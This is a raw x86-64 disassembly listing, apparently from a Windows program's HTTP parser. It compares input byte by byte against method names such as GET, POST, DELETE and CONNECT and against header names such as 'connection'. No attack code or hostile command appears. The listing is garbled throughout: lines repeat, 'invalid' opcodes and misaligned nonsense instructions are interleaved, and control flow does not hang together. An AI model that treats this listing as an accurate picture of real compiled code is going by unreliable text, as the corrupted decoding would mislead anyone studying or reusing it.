jne case.0x14002f13e.103
cmp byte [rcx + 0xf], 0x63
jne case.0x14002f13e.103
cmp byte [rcx + 0x10], 0x6f
jne case.0x14002f13e.103
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 0x11], 0x6e
jne case.0x14002f13e.103
loopne 0x140031088
add byte [rax], al
loopne 0x140031088
add byte [rax], al
add byte [rax + 0xf741279], al
test esi, edx
add dword [rax], eax
add byte [rax + 0xf721379], al
test esp, ecx
add dword [rax], eax
add byte [rax + 0xf6f1479], al
jne case.0x14002f13e.103
mov al, 0x4e
mov dl, 0x6c
mov r8d, 0x15
invalid
add byte [rax], al
invalid
cmp byte [rcx + 0x12], 0x74
adc dh, byte [rdi + rcx - 0x7b]
invalid
jne case.0x14002f13e.103
cmp byte [rcx + 0x13], 0x72
jne case.0x14002f13e.103
cmp byte [rcx + 0x14], 0x6f
jne case.0x14002f13e.103
mov al, 0x4e
mov dl, 0x6c
mov r8d, 0x15
invalid
add byte [rax], al
invalid
adc eax, 0xe9000000
jge 0x14003108b
jmp 0x14002e833
invalid
cmp byte [rcx + 4], 0x61
jne case.0x14002f13e.103
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax + 0xf6e0579], al
jns 0x1400310c8
outsb dx, byte [rsi]
jne case.0x14002f13e.103
invalid
jns 0x1400310d3
cmp byte [rcx + 5], 0x6e
jns 0x1400310c8
outsb dx, byte [rsi]
jne case.0x14002f13e.103
add byte [rax], al
cmp byte [rcx + 6], 0x67
jne case.0x14002f13e.103
invalid
xchg ebp, eax
add dword [rax], eax
invalid
jne case.0x14002f13e.103
test dword [rbp - 0x4fffffff], edx
sub dh, byte [rdx + 0x7b84165]
mov eax, 7
invalid
push rax
xlatb
invalid
add byte [rax + 0x4165b22a], dh
mov al, 0x2a
mov dl, 0x65
mov r8d, 7
mov eax, 7
mov eax, 7
jmp 0x14002e833
cmp byte [rcx + 4], 0x65
jne case.0x14002f13e.103
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 5], 0x73
jne case.0x14002f13e.103
mov al, 0x39
mov dl, 0x68
mov r8d, 6
add cl, ch
invalid
xlatb
invalid
invalid
add cl, ch
sub eax, 0x80ffffd7
jns 0x140031111
cmp byte [rcx + 8], 0x61
jne case.0x14002f13e.103
add dword [rax], eax
invalid
invalid
add dword [rax], eax
add byte [rax + 0xf6e0979], al
test dword [rdi + 1], ecx
add byte [rax], al
cmp byte [rcx + 9], 0x6e
jns case.0x14002b1c9.324
outsb dx, byte [rsi]
jne case.0x14002f13e.103
cmp byte [rcx + 0xa], 0x67
jne case.0x14002f13e.103
or ah, byte [rdi + 0xf]
test dword [rbp + 1], eax
add byte [rax], al
cmp byte [rcx + 0xb], 0x75
jne case.0x14002f13e.103
jns 0x140031132
jne 0x140031138
test dword [rbx], edi
add dword [rax], eax
add byte [rax + 0xf610c79], al
test dword [rcx], esi
cmp byte [rcx + 0xc], 0x61
jne case.0x14002f13e.103
add dword [rax], eax
add byte [rax + 0xf670d79], al
invalid
invalid
cmp byte [rcx + 0xd], 0x67
jne case.0x14002f13e.103
test dword [rdi], esp
add dword [rax], eax
invalid
jne case.0x14002f13e.103
test dword [rdi], esp
add dword [rax], eax
add byte [rax + 0x4165b203], dh
mov eax, 0xe
mov al, 3
mov dl, 0x65
mov r8d, 0xe
jmp 0x14002e833
loop 0x140031125
invalid
movzx edx, byte [rcx + 9]
cmp edx, 0x61
invalid
je 0x1400311a4
invalid
cmp edx, 0x6f
jne case.0x14002f13e.103
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 0xa], 0x63
jne case.0x14002f13e.103
cmp byte [rcx + 0xb], 0x61
jne case.0x14002f13e.103
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 0xc], 0x74
jne case.0x14002f13e.103
invalid
add byte [rax], al
invalid
jns 0x140031186
je 0x14003118b
test eax, ebp
add byte [rax], al
add byte [rax + 0xf690d79], al
call 0xc0031182
jns case.0x14002aa01.85
cmp byte [rcx + 0xd], 0x69
jne case.0x14002f13e.103
imul ecx, dword [rdi], 0xde85
test esi, ebx
add byte [rax], al
add byte [rax + 0xf6f0e79], al
test esp, edx
invalid
add byte [rax], al
cmp byte [rcx + 0xe], 0x6f
jne case.0x14002f13e.103
invalid
add byte [rax], al
invalid
invalid
add byte [rax + 0x416eb219], dh
mov eax, 0xf
add byte [rax], al
mov al, 0x19
mov dl, 0x6e
outsb dx, byte [rsi]
mov r8d, 0xf
add byte [rax], al
jmp 0x14002e833
cmp byte [rcx + 0xa], 0x6e
jne case.0x14002f13e.103
cmp byte [rcx + 0xb], 0x67
jne case.0x14002f13e.103
or esp, dword [rdi + 0xf]
test dword [rcx - 0x80000000], esi
jns 0x1400311c7
cmp byte [rcx + 0xc], 0x75
jne case.0x14002f13e.103
jne 0x1400311cc
test dword [rdi - 0x80000000], esp
jns 0x1400311d2
cmp byte [rcx + 0xd], 0x61
jne case.0x14002f13e.103
add byte [rax], al
invalid
invalid
test dword [rbp - 0x80000000], ebx
jns 0x1400311dd
add byte [rax], al
add byte [rax + 0xf670e79], al
test dword [rbx - 0x50000000], edx
invalid
cmp byte [rcx + 0xe], 0x67
jne case.0x14002f13e.103
jne case.0x14002f13e.103
xchg ebx, eax
add byte [rax], al
add byte [rax + 0x4165b217], dh
mov eax, 0xf
mov al, 0x17
mov dl, 0x65
mov r8d, 0xf
add byte [rax], al
add cl, ch
jmp 0x14002e833
invalid
cmp byte [rcx + 0x10], 0x65
jne case.0x14002f13e.103
cmp byte [rcx + 0x11], 0x71
jne case.0x14002f13e.103
cmp byte [rcx + 0x12], 0x75
jne case.0x14002f13e.103
jne 0x14003126b
jb 0x140031178
cmp byte [rcx + 0x13], 0x65
jne case.0x14002f13e.103
jns 0x14003120d
jne case.0x14002f13e.103
cmp byte [rcx + 0x14], 0x73
jne case.0x14002f13e.103
cmp byte [rcx + 0x15], 0x74
jne case.0x14002f13e.103
je 0x14003127d
invalid
cmp byte [rcx + 0x16], 0x2d
jne case.0x14002f13e.103
cmp byte [rcx + 0x17], 0x6d
jne case.0x14002f13e.103
cmp byte [rcx + 0x18], 0x65
jne case.0x14002f13e.103
cmp byte [rcx + 0x19], 0x74
jne case.0x14002f13e.103
cmp byte [rcx + 0x1a], 0x68
jne case.0x14002f13e.103
cmp byte [rcx + 0x1b], 0x6f
jne case.0x14002f13e.103
mov al, 0xc
mov dl, 0x64
mov r8d, 0x1c
mov eax, 0x1c
mov eax, 0x1c
jmp 0x14002e833
inc dword [rax + 0x75651679]
invalid
cmp byte [rcx + 0x16], 0x65
jne case.0x14002f13e.103
cmp byte [rcx + 0x17], 0x74
jne case.0x14002f13e.103
cmp byte [rcx + 0x18], 0x68
jne case.0x14002f13e.103
cmp byte [rcx + 0x19], 0x6f
outsd dx, dword [rsi]
jne case.0x14002f13e.103
cmp byte [rcx + 0x1a], 0x64
jne case.0x14002f13e.103
mov al, 7
mov dl, 0x73
mov r8d, 0x1b
sbb eax, dword [rax]
add byte [rax], al
sbb eax, dword [rax]
add byte [rax], al
jmp 0x14002e833
ret
int3
int3
mov rsi, rcx
mov esi, ecx
cmp r8, 0x40
ja 0x14003129c
lea rcx, [rdi - 1]
mov eax, edi
and eax, 3
cmp rcx, 3
cmp ecx, 3
cmp ecx, 3
jae case.0x14002aa4e.214
xor r10d, r10d
jmp 0x14003133b
cmp rdi, 0x10000
jae 0x1400312c8
xor eax, eax
lea rcx, [0x140129156]
nop
cmp rdi, rax
je case.0x14002e81e.153
movzx r8d, byte [rdx + rax]
inc rax
inc eax
inc eax
rol byte [rcx - 0x80], 0x3c
or byte [rax], al
cmp byte [r8 + rcx], 0
jne 0x1400312b0
mov qword [rsi], 1
jmp 0x140031503
mov ecx, edi
and ecx, 0x7c
xor r9d, r9d
lea r8, [0x140129156]
nop word cs:[rax + rax]
movzx r10d, byte [rdx + r9]
adc al, 0xa
movzx r10d, byte [r10 + r8]
mov byte [rsp + r9 + 0x28], r10b
mov byte [rsp + rcx + 0x28], dl
mov byte [rsp + rcx + 0x28], dl
movzx r10d, byte [rdx + r9 + 1]
movzx edx, byte [rdx + rcx + 1]
movzx r10d, byte [r10 + r8]
mov byte [rsp + r9 + 0x29], r10b
or al, 0x29
or al, 0x29
movzx r10d, byte [rdx + r9 + 2]
movzx r10d, byte [r10 + r8]
mov byte [rsp + r9 + 0x2a], r10b
lea r10, [r9 + 4]
movzx r11d, byte [rdx + r9 + 3]
movzx ebx, byte [rdx + rcx + 3]
movzx ebx, byte [rdx + rcx + 3]
movzx r11d, byte [r11 + r8]
mov byte [rsp + r9 + 0x2b], r11b
invalid
mov dh, 0x1c
add eax, dword [rsi - 0x78]
pop rsp
or al, 0x2b
invalid
sub ecx, dword [rbp - 0x77]
ror dword [rcx + rdi - 0x2f], 1
mov r9, r10
cmp rcx, r10
jne case.0x14002aa01.207
test rax, rax
je 0x140031376
lea rcx, [rsp + r10]
add rcx, 0x28
add rdx, r10
xor r8d, r8d
xor eax, eax
xor eax, eax
lea r9, [0x140129156]
nop word cs:[rax + rax]
invalid
verr word [rsi + 0x66]
add byte [rsi + 0x66], ah
nop dword cs:[rax + rax]
add byte [rsi + 0xf], al
mov dh, 0x14
add al, byte [rdi + 0xf]
mov dh, 0x14
adc al, 0xa
mov byte [rcx + r8], r10b
movzx r10d, byte [rdx + r8]
movzx r10d, byte [r10 + r9]
adc al, 0xa
adc al, 0xa
mov byte [rcx + r8], r10b
inc r8
cmp rax, r8
jne case.0x140019144.1369
lea rbx, [rsp + 0x28]
mov rcx, rbx
mov rdx, rdi
mov edx, edi
mov edx, edi
call fcn.14002e800
cmp al, 0x51
push rcx
invalid
push rcx
jne case.0x140028ada.191
cmp rdi, 0xf
ja 0x1400313f3
xor eax, eax
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
nop dword cs:[rax + rax]
cmp byte [rsp + rax + 0x28], 0
je 0x1400312c8
inc rax
cmp rdi, rax
invalid
jne 0x1400313a0
invalid
jmp 0x1400314a3
mov qword [rsi + 8], 0
mov byte [rsi + 0x10], al
jmp 0x1400314fc
add byte [rax + 0x34e91046], cl
add dword [rax], eax
add byte [rcx - 0x77], cl
mov r14, rdx
mov r14, rdx
movzx eax, byte [0x140182310]
mov dh, 5
unpckhps xmm0, xmmword ds:[rax]
mov dh, 5
unpckhps xmm0, xmmword ds:[rax]
xor ecx, ecx
mov rdx, rdi
call fcn.1400dfbe0
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
sub byte [rcx], al
add byte [rax], al
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
sub byte [rcx], al
add byte [rax], al
mov rbx, rax
mov rcx, rax
mov rdx, r14
jmp 0x1400314c4
rol dword [rax], 1
add byte [rax], al
rol dword [rax], 1
add byte [rax], al
lea rax, [rsp + 0x2f]
and rax, 0xfffffffffffffff8
sub rax, rbx
jne case.0x14002aa01.209
lea rcx, [rdi - 0x10]
xor eax, eax
invalid
movdqa xmm0, xmmword [0x140112770]
movabs rdx, 0x8080808080808080
or byte [rdi], 0x1f
add byte [rax], 0
add byte [rax], al
invalid
or byte [rdi], 0x1f
add byte [rax], 0
add byte [rax], al
movdqu xmm1, xmmword [rsp + rax + 0x28]
movdqa xmm2, xmm1
paddq xmm2, xmm0
pandn xmm1, xmm2
pshufd xmm2, xmm1, 0xee
jo 0x140031407
out dx, al
jo 0x140031407
out dx, al
por xmm2, xmm1
movq r8, xmm2
ror byte [rcx - 0x7b], 1
sal byte [rbp + 0x37], 1
invalid
ror byte [rcx - 0x7b], 1
sal byte [rbp + 0x37], 1
invalid
invalid
add rax, 0x10
cmp rax, rcx
jbe case.0x14002a10a.221
jmp 0x14003147c
cmp rax, rdi
cmovae rax, rdi
xor ecx, ecx
nop dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
cmp byte [rsp + rcx + 0x28], 0
je 0x1400312c8
inc rcx
cmp rax, rcx
jne 0x140031460
lea rcx, [rdi - 0x10]
cmp rax, rcx
jbe 0x140031407
cmp rax, rdi
je 0x1400314a3
nop word cs:[rax + rax]
nop word cs:[rax + rax]
cmp byte [rsp + rax + 0x28], 0
je 0x1400312c8
inc rax
cmp rdi, rax
cmp edi, eax
cmp edi, eax
jne 0x140031490
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, rdi
call fcn.1400dfbe0
test rax, rax
je 0x14003150d
mov rbx, rax
lea rdx, [rsp + 0x28]
mov rcx, rax
mov r8, rdi
call fcn.140106250
add byte [rax - 0x77], cl
fmul dword [rax - 0x7d]
enter 0xfffffffffffff601, 0xffffffffffffffc3
add dword [rax + 0xf], ecx
ret
lea rcx, [0x140129108]
lea rdx, [0x140129120]
adc eax, 0xf7c38
add byte [rax - 0x77], cl
fmul dword [rax - 0x7d]
enter 0xfffffffffffff601, 0xffffffffffffffc3
add dword [rax + 0xf], ecx
ret
adc eax, 0xf7c38
cmp byte [rdi + rcx], bh
cmove rdx, rcx
mov qword [rsi + 0x10], rbx
mov qword [rsi + 0x18], rdi
mov qword [rsi + 0x20], rax
mov qword [rsi + 8], rdx
mov qword [rsi], 0
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop r14
ret
mov ecx, 1
add byte [rax], al
mov rdx, rdi
call fcn.140107fc0
int3
mov dword [rcx + 0x10], ecx
mov qword [rcx + 0x18], 0
lea rcx, [0x1401290f0]
mov qword [rax], rcx
ret
add byte [rsi + 0x63], cl
or al, 0x80
add r9, rax
jmp r9
je 0x140031a17
cmp eax, 0x50
jne 0x140031a2b
add al, 0
invalid
add al, 0
add byte [rax + 0xf55017a], al
test dword [rcx], esp
add al, 0
add byte [rax + 0xf54027a], al
cmp byte [rdx + 2], 0x54
jne 0x140031a2b
mov byte [rcx], 3
cmp byte [rdx + 1], 0x55
jne 0x140031a2b
cmp byte [rdx + 2], 0x54
jne 0x140031a2b
mov byte [rcx], 3
jmp 0x140031f77
xchg dword [rdx], eax
add byte [rax], al
cmp eax, 0x50
jne 0x1400318c9
cmp byte [rdx + 1], 0x4f
jne 0x1400318c9
add dword [rdi + 0xf], ecx
test dword [rsi - 0x7ffffffe], ecx
cmp byte [rdx + 2], 0x53
jp 0x140031640
push rbx
jne 0x1400318c9
test dword [rdx + rax + 0x7a800000], eax
add edx, dword [rdi + rcx - 0x7b]
cmp byte [rdx + 3], 0x54
jne 0x1400318c9
jp 0x14003164f
add byte [rax], al
jp 0x14003164f
add byte [rax], al
add dh, al
add dword [rdx], eax
mov byte [rcx], 2
jmp 0x140031f77
movzx eax, byte [rdx]
mov dh, 2
cmp eax, 0x43
je 0x14003193d
cmp eax, 0x4f
jne 0x140031969
jne 0x140031969
cmp byte [rdx + 1], 0x50
jne 0x140031969
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rax + 0xf54027a], al
invalid
test ecx, ebp
add al, byte [rax]
cmp byte [rdx + 2], 0x54
jne 0x140031969
add byte [rax + 0xf49037a], al
test edi, ebx
add al, byte [rax]
add byte [rax + 0xf4f047a], al
add al, 0x4f
jne 0x140031969
cmp byte [rdx + 5], 0x4e
invalid
cmp byte [rdx + 3], 0x49
jne 0x140031969
cmp byte [rdx + 4], 0x4f
add al, 0x4f
jne 0x140031969
cmp byte [rdx + 5], 0x4e
jne 0x140031969
test ebx, ecx
add al, byte [rax]
invalid
test ebx, ecx
add al, byte [rax]
add byte [rax + 0xf53067a], al
test ecx, eax
add al, byte [rax]
add byte [rax], al
mov byte [rcx], 0
cmp byte [rdx + 6], 0x53
jne 0x140031969
add byte [rax], al
add byte [rax], al
mov byte [rcx], 0
jmp 0x140031f77
invalid
add al, 0
add byte [rdi], cl
mov dh, 2
lea r12, [0x140129350]
movzx eax, byte [rax + r12]
mov dword [rsp + 0x64], eax
test al, al
je case.0x1400315e8.0
xchg esi, eax
or byte [rax], al
invalid
xchg esi, eax
or byte [rax], al
add byte [rcx - 0x7d], cl
clc
add dword [rdi], ecx
test byte [rdi + 4], ch
add byte [rax], al
invalid
cmp r8, 1
je 0x140031b57
invalid
add byte [rdi + rcx - 0x4a], al
add qword [rdi + 0xf], rax
mov dh, 0xc
and dword [rbp - 0x7c], eax
movzx r9d, byte [rdx + 1]
movzx r9d, byte [r9 + r12]
test r9b, r9b
leave
leave
je case.0x1400315e8.0
mov dword [rsp + 0x24], r9d
cmp r8, 2
cmp eax, 2
cmp eax, 2
jne 0x140031bca
xor esi, esi
xor r10d, r10d
sal byte [rcx], cl
inc dword [rbp + 0x31]
leave
sal byte [rcx], cl
inc dword [rbp + 0x31]
leave
xor edx, edx
mov dword [rsp + 0x38], 0
add byte [rax], al
add byte [rcx], dh
rol byte [rbp + 0x31], 0xed
add byte [rax], al
add byte [rcx], dh
rol byte [rbp + 0x31], 0xed
xor r15d, r15d
xor r11d, r11d
invalid
xor ebp, ebp
xor r12d, r12d
mov ebx, dword [rsp + 0x24]
jmp case.0x14001a5bd.949
add byte [rax], al
invalid
add byte [rax], al
movzx eax, byte [rdx]
cmp eax, 0x50
je 0x140031a88
invalid
add byte [rbx - 0x7af0ab08], al
pop rsp
add eax, dword [rax]
cmp eax, 0x54
jne 0x140031aa8
test dword [rbx + rax], ebx
invalid
test dword [rbx + rax], ebx
add byte [rax + 0xf52017a], al
test dword [rdx + 3], edx
add byte [rax], al
invalid
cmp byte [rdx + 1], 0x52
push rdx
jne 0x140031aa8
add byte [rax + 0xf41027a], al
test dword [rax + 3], ecx
add rax, qword [rax]
invalid
cmp byte [rdx + 2], 0x41
jne 0x140031aa8
add rax, qword [rax]
invalid
add rax, qword [rax]
add byte [rax + 0xf43037a], al
test dword [rsi], edi
add eax, dword [rax]
cmp byte [rdx + 3], 0x43
jne 0x140031aa8
invalid
add byte [rax + 0xf45047a], al
test dword [rbx + rax], esi
add byte [rax], al
cmp byte [rdx + 4], 0x45
jne 0x140031aa8
mov byte [rcx], 6
jmp 0x140031f77
add byte [rax], al
invalid
add byte [rax], al
movzx eax, byte [rdx]
cmp rax, 0x44
jne 0x1400317ab
cmp byte [rdx + 1], 0x45
jne 0x1400317ab
cmp byte [rdx + 2], 0x4c
jne 0x1400317ab
invalid
sbb al, byte [rax + 0x7545037a]
adc al, 0x80
jp 0x14003179e
cmp byte [rdx + 3], 0x45
jne 0x1400317ab
jne 0x1400317ab
cmp byte [rdx + 4], 0x54
push rsp
jne 0x1400317ab
cmp byte [rdx + 5], 0x45
jne 0x1400317ab
jp 0x1400317a5
jne 0x1400317ab
mov byte [rcx], 4
jmp 0x140031f77
invalid
add byte [rax], al
invalid
add al, 0xe9
int3
invalid
add byte [rbp + rcx*4 + 5], cl
sahf
jnp 0x1400317c0
lea r8, [0x140129350]
movzx eax, byte [rax + r8]
add byte [rdx + 0xf], al
mov dh, 4
add byte [rax + rax*8 + 0x7b5840f], al
test al, al
je case.0x1400315e8.0
test al, al
je case.0x1400315e8.0
movzx r9d, byte [rdx + 1]
movzx ecx, byte [rdx + 1]
add dword [rdi + 0xf], eax
mov dh, 0xc
add dword [rbp - 0x7c], eax
leave
movzx r9d, byte [r9 + r8]
test r9b, r9b
je case.0x1400315e8.0
add byte [rdi + rcx - 0x4a], al
push rdx
add al, byte [rdi + 0xf]
mov dh, 0x14
add al, byte [rbp - 0x7c]
movzx r10d, byte [rdx + 2]
movzx r10d, byte [r10 + r8]
test r10b, r10b
ror byte [rdi], cl
invalid
pop qword [rdi]
add byte [rax], al
ror byte [rdi], cl
test byte [rdi + 0x44000007], cl
movzx ebx, byte [rdx + 3]
movzx r11d, byte [rdx + 3]
movzx r11d, byte [r11 + r8]
movzx ebx, byte [rbx + rax]
test r11b, r11b
je case.0x1400315e8.0
movzx esi, byte [rdx + 4]
movzx ebx, byte [rsi + r8]
test bl, bl
je case.0x1400315e8.0
imul eax, dword [rdi], 0
invalid
imul eax, dword [rdi], 0
add byte [rdi], cl
mov dh, 0x52
add eax, 0x14b60f42
add al, byte [rdx + rdx*8 + 0x75a840f]
test dl, dl
je case.0x1400315e8.0
movzx edx, byte [rdx + 5]
movzx edx, byte [rdx + r8]
test dl, dl
je case.0x1400315e8.0
mov byte [rcx], 9
mov byte [rcx + 1], al
add dword [rax + rcx*4 + 0x49], eax
add al, byte [rax + rcx*4 + 0x51]
add eax, dword [rax + rcx*4 + 0x59]
invalid
add dword [rax + rcx*4 + 0x49], eax
add al, byte [rax + rcx*4 + 0x51]
add eax, dword [rax + rcx*4 + 0x59]
add al, 0x88
mov byte [rcx + 5], bl
mov byte [rcx + 6], dl
mov qword [rcx + 7], 0
invalid
mov byte [rcx + 5], bl
mov byte [rcx + 6], dl
mov qword [rcx + 7], 0
invalid
add byte [rsi - 0x39], ah
sldt word [r14]
mov word [rcx + 0xf], 0x600
jmp 0x140031f77
test r8, r8
test eax, eax
js 0x140031ebc
mov rdi, rdx
mov rbx, rcx
retf
mov ecx, 8
mov rsi, r8
mov rdx, r8
call fcn.1400dfbe0
jl 0x140031845
or al, byte [rax]
retf
jl 0x140031845
or al, byte [rax]
test rax, rax
je 0x140031ec1
xor ecx, ecx
lea r8, [0x140129350]
mov rdx, rbx
nop dword [rax]
invalid
add byte [rax], 0
add byte [rax], al
invalid
movzx r9d, byte [rdi + rcx]
movzx r9d, byte [r9 + r8]
mov dh, 0xc
add dword [rbp - 0x7c], eax
leave
mov dh, 0xc
add dword [rbp - 0x7c], eax
leave
je 0x140031b32
mov byte [rax + rcx], r9b
mov byte [rax + rcx], cl
inc rcx
cmp rsi, rcx
jne 0x140031880
mov byte [rdx], 0xa
mov qword [rdx + 8], rax
mov qword [rdx + 0x10], rsi
or cl, byte [rax - 0x77]
or byte [rax - 0x77], cl
jb 0x1400318ba
jmp 0x140031f77
add byte [rax + 0x7545017a], al
adc al, 0x80
jp 0x1400318ba
jne 0x1400318c9
invalid
cmp byte [rdx + 3], 0x44
jne 0x1400318c9
mov byte [rcx], 5
jmp 0x140031f77
invalid
add byte [rbp + rcx*4 + 5], cl
cmp byte [rdx + 0xf], 0
lea r8, [0x140129350]
movzx eax, byte [rax + r8]
movzx eax, byte [rax + rax]
test al, al
je case.0x1400315e8.0
movzx r9d, byte [rdx + 1]
movzx ecx, byte [rdx + 1]
movzx r9d, byte [r9 + r8]
test r9b, r9b
je case.0x1400315e8.0
invalid
test byte [rsi], al
add byte [rax], al
test byte [rsi + rax + 0xf440000], al
mov dh, 0x52
add al, byte [rdi + 0xf]
movzx r10d, byte [rdx + 2]
movzx r10d, byte [r10 + r8]
mov dh, 0x14
add al, byte [rbp - 0x7c]
ror byte [rdi], cl
test byte [rcx + 6], dh
add byte [rax], al
mov dh, 0x14
add al, byte [rbp - 0x7c]
ror byte [rdi], cl
test byte [rcx + 6], dh
add byte [rax], al
movzx edx, byte [rdx + 3]
movzx edx, byte [rdx + r8]
test dl, dl
je case.0x1400315e8.0
mov byte [rcx], 9
mov byte [rcx + 1], al
mov byte [rcx + 2], r9b
mov byte [rcx + 3], r10b
mov byte [rcx + 4], dl
mov qword [rcx + 5], 0
mov dword [rcx + 0xc], 0
mov byte [rcx + 0x10], 4
jmp 0x140031f77
cmp byte [rdx + 1], 0x4f
jne 0x140031969
cmp byte [rdx + 2], 0x4e
jne 0x140031969
cmp byte [rdx + 3], 0x4e
jne 0x140031969
cmp byte [rdx + 4], 0x45
jne 0x140031969
cmp byte [rdx + 5], 0x43
jne 0x140031969
cmp byte [rdx + 6], 0x54
jne 0x140031969
mov byte [rcx], 7
jmp 0x140031f77
lea r8, [0x140129350]
movzx eax, byte [rax + r8]
test al, al
je case.0x1400315e8.0
movzx r9d, byte [rdx + 1]
movzx r9d, byte [r9 + r8]
test r9b, r9b
je case.0x1400315e8.0
movzx r10d, byte [rdx + 2]
movzx r10d, byte [r10 + r8]
test r10b, r10b
je case.0x1400315e8.0
movzx r11d, byte [rdx + 3]
movzx r11d, byte [r11 + r8]
test r11b, r11b
je case.0x1400315e8.0
movzx esi, byte [rdx + 4]
movzx ebx, byte [rsi + r8]
test bl, bl
je case.0x1400315e8.0
movzx esi, byte [rdx + 5]
movzx esi, byte [rsi + r8]
test sil, sil
je case.0x1400315e8.0
movzx edx, byte [rdx + 6]
movzx edx, byte [rdx + r8]
test dl, dl
je case.0x1400315e8.0
mov byte [rcx], 9
mov byte [rcx + 1], al
mov byte [rcx + 2], r9b
mov byte [rcx + 3], r10b
mov byte [rcx + 4], r11b
mov byte [rcx + 5], bl
mov byte [rcx + 6], sil
mov byte [rcx + 7], dl
mov qword [rcx + 8], 0
mov byte [rcx + 0x10], 7
jmp 0x140031f77
cmp byte [rdx + 1], 0x45
jne 0x140031a2b
cmp byte [rdx + 2], 0x54
jne 0x140031a2b
mov byte [rcx], 1
jmp 0x140031f77
lea r8, [0x140129350]
movzx eax, byte [rax + r8]
test al, al
ror byte [rdi], 0x84
invalid
invalid
add byte [rax], al
ror byte [rdi], 0x84
xor eax, 0x44000005
movzx ecx, byte [rdx + 1]
movzx r9d, byte [rdx + 1]
movzx r9d, byte [r9 + r8]
movzx ecx, byte [rcx + rax]
test r9b, r9b
je case.0x1400315e8.0
movzx edx, byte [rdx + 2]
movzx edx, byte [rdx + r8]
mov dh, 0x14
add al, byte [rdx + rdx*8 + 0x511840f]
invalid
invalid
add byte [rax], al
mov dh, 0x14
add al, byte [rdx + rdx*8 + 0x511840f]
invalid
invalid
add byte [rax], al
adc dword [0x141c91a65], eax
or dword [rax - 0x77bbfebf], ecx
add cl, byte [r8 - 0x38b7fcaf]
add cl, byte [rax - 0x38b7fcaf]
mov byte [rcx], 9
mov byte [rcx + 1], al
mov byte [rcx + 2], r9b
add cl, byte [rax - 0x38b7fcaf]
add al, 0
add byte [rax], al
invalid
add cl, byte [rax - 0x38b7fcaf]
add al, 0
add byte [rax], al
add bh, al
add byte [rax], al
add byte [rax], al
mov dword [rcx + 0xc], 0
mov byte [rcx + 0x10], 3
or al, 0
add byte [rax], al
add dh, al
adc byte [r11], al
jmp 0x140031f77
add byte [rax], al
cmp byte [rdx + 1], 0x41
jne 0x140031aa8
cmp byte [rdx + 2], 0x54
jne 0x140031aa8
invalid
adc al, 0x80
jp 0x140031a9a
cmp byte [rdx + 3], 0x43
jne 0x140031aa8
jne 0x140031aa8
cmp byte [rdx + 4], 0x48
jne 0x140031aa8
mov byte [rcx], 8
jmp 0x140031f77
lea r8, [0x140129350]
movzx eax, byte [rax + r8]
movabs eax, dword [0x4b60f42000f78]
sldt word [rdx + 0xf]
mov dh, 4
add byte [rax + rax*8 + 0x4b8840f], al
test al, al
invalid
invalid
invalid
invalid
test al, al
je case.0x1400315e8.0
add byte [rax], al
add byte [rax], al
movzx r9d, byte [rdx + 1]
movzx ecx, byte [rdx + 1]
movzx r9d, byte [r9 + r8]
test r9b, r9b
test cl, cl
je case.0x1400315e8.0
movzx r10d, byte [rdx + 2]
movzx edx, byte [rdx + 2]
movzx r10d, byte [r10 + r8]
test r10b, r10b
je case.0x1400315e8.0
invalid
add byte [rdi + rcx - 0x4a], al
pop rdx
add eax, dword [rdi + 0xf]
mov dh, 0x1c
movzx r11d, byte [rdx + 3]
movzx r11d, byte [r11 + r8]
add eax, dword [rbp - 0x7c]
fisttp dword [rdi]
test byte [rdi + 4], bh
add al, 0
invalid
add eax, dword [rbp - 0x7c]
fisttp dword [rdi]
test byte [rdi + 4], bh
add al, 0
invalid
add al, 0
add byte [rdi], cl
mov dh, 0x52
add al, 0x42
movzx edx, byte [rdx + rax]
mov dh, 0x14
invalid
movzx edx, byte [rdx + 4]
movzx edx, byte [rdx + r8]
mov dh, 0x14
invalid
mov dh, 0x14
add al, byte [rdx + rdx*8 + 0x46e840f]
add byte [rax], al
test dl, dl
je case.0x1400315e8.0
mov byte [rcx], 9
mov byte [rcx + 1], al
mov byte [rcx + 2], r9b
add al, byte [r8 + rcx*4 + 0x51]
add eax, dword [rax + rcx*4 + 0x59]
mov byte [rcx + 4], bl
or dword [rax - 0x77bbfebf], ecx
add al, byte [r8 + rcx*4 + 0x51]
add eax, dword [rax + rcx*4 + 0x59]
mov byte [rcx + 4], bl
mov byte [rcx + 5], dl
mov qword [rcx + 6], 0
invalid
mov byte [rcx + 4], bl
mov byte [rcx + 5], dl
mov qword [rcx + 6], 0
invalid
add byte [rsi - 0x39], ah
invalid
mov word [rcx + 0xe], 0
mov byte [rcx + 0x10], 5
jmp 0x140031f77
add al, 0
invalid
add al, 0
add byte [rax - 0x75], cl
or eax, 0x150727
mov rcx, qword [0x140182260]
mov rsi, rdx
xor edx, edx
mov r8, rax
call qword [sym.imp.kernel32.dll_HeapFree]
mov byte [rsi], 0xb
or ebp, ecx
sub byte [rax + rax], al
invalid
or ebp, ecx
sub byte [rax + rax], al
add bh, al
and al, 0x64
add byte [rax], al
add byte [rax], al
invalid
add byte [rcx], dh
invalid
xor ebx, ebx
xor esi, esi
xor r10d, r10d
xor edi, edi
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x38], 0
xor eax, eax
xor r13d, r13d
xor ebp, ebp
xor ebp, ebp
xor r15d, r15d
xor r11d, r11d
xor ebp, ebp
xor r12d, r12d
mov byte [rcx], 9
mov r14d, dword [rsp + 0x64]
mov byte [rcx + 1], r14b
mov byte [rcx + 2], bl
pop rcx
add al, byte [rax - 0x78]
jno 0x140031b93
pop rcx
add al, byte [rax - 0x78]
jno 0x140031b93
mov byte [rcx + 4], r10b
mov byte [rcx + 5], dil
invalid
add al, 0x40
mov byte [rcx + 5], bh
invalid
add eax, 0x6498844
mov byte [rcx + 6], r9b
mov byte [rcx + 7], dl
mov edx, dword [rsp + 0x38]
mov byte [rcx + 8], dl
push rcx
or byte [rax - 0x77bbf6bf], cl
imul ecx, dword [rdx], 0xb798844
push rcx
or byte [rax - 0x77bbf6bf], cl
imul ecx, dword [rdx], 0xb798844
